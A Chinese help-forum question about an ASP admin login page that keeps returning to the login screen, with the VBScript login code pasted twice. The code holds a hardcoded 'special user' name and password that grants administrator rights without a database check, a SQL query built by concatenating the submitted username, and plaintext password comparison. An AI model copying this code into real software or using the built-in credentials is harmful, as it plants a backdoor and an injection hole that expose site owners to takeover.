ASP站,网站后台登陆输入帐号密码后无法登入,一直停留在登陆界面,求高手指点啊!!!!
<%@Language=VBScript%><%Response.Buffer=true'禁用缓存Response.Expires=-10000Response.AddH...
<%@ Language=VBScript %>
<%
Response.Buffer = true
'禁用缓存
Response.Expires = -10000
Response.AddHeader "pragma", "no-cache"
Response.AddHeader "cache-control", "private"
Response.CacheControl = "no-cache"
%>
<!-- #include file="../dsn.asp" -->
<%
'如果提交了登陆信息进行处理,否则显示登陆界面
if Request.ServerVariables("REQUEST_METHOD") = "POST" then
username = Lcase(Request.Form("username"))
userpass = Lcase(Request.Form("userpass"))
'特殊用户登陆
if username = "xu256" and userpass = "smt__w@tf@sjx51" then
Session("username") = username
Session("userqx") = 9
Response.Redirect("default.asp")
end if
set cn = Server.CreateObject("ADODB.Connection")
cn.Open mycnstr
set rs = Server.CreateObject("ADODB.RecordSet")
sql = "select * from adminuser where username='" & username & "'"
rs.Open sql, cn, 0, 2, 1
if rs.EOF then
logerr = "用户名不存在或密码错误!"
elseif rs("flag") <> "1" then
logerr = "用户名不存在或密码错误!"
elseif rs("userpass") <> userpass then
logerr = "用户名不存在或密码错误!"
elseif rs("authority") <> "1" and rs("authority") <> "9" then
logerr = "您不是系统管理员"
else
Session("username") = username
Session("userqx") = rs("authority")
Session("qxflag") = rs("qxflag")
Session("classcode") = rs("classcode")
rs("logincount") = rs("logincount") + 1
rs("ipaddress") = Request.ServerVariables("REMOTE_ADDR")
rs("logindate") = now()
rs.Update
rs.Close
set rs = nothing
cn.Close
set cn = nothing
Response.Redirect("default.asp")
end if
end if
%> 展开
<%
Response.Buffer = true
'禁用缓存
Response.Expires = -10000
Response.AddHeader "pragma", "no-cache"
Response.AddHeader "cache-control", "private"
Response.CacheControl = "no-cache"
%>
<!-- #include file="../dsn.asp" -->
<%
'如果提交了登陆信息进行处理,否则显示登陆界面
if Request.ServerVariables("REQUEST_METHOD") = "POST" then
username = Lcase(Request.Form("username"))
userpass = Lcase(Request.Form("userpass"))
'特殊用户登陆
if username = "xu256" and userpass = "smt__w@tf@sjx51" then
Session("username") = username
Session("userqx") = 9
Response.Redirect("default.asp")
end if
set cn = Server.CreateObject("ADODB.Connection")
cn.Open mycnstr
set rs = Server.CreateObject("ADODB.RecordSet")
sql = "select * from adminuser where username='" & username & "'"
rs.Open sql, cn, 0, 2, 1
if rs.EOF then
logerr = "用户名不存在或密码错误!"
elseif rs("flag") <> "1" then
logerr = "用户名不存在或密码错误!"
elseif rs("userpass") <> userpass then
logerr = "用户名不存在或密码错误!"
elseif rs("authority") <> "1" and rs("authority") <> "9" then
logerr = "您不是系统管理员"
else
Session("username") = username
Session("userqx") = rs("authority")
Session("qxflag") = rs("qxflag")
Session("classcode") = rs("classcode")
rs("logincount") = rs("logincount") + 1
rs("ipaddress") = Request.ServerVariables("REMOTE_ADDR")
rs("logindate") = now()
rs.Update
rs.Close
set rs = nothing
cn.Close
set cn = nothing
Response.Redirect("default.asp")
end if
end if
%> 展开
1个回答
推荐律师服务:
若未解决您的问题,请您详细描述您的问题,通过百度律临进行免费专业咨询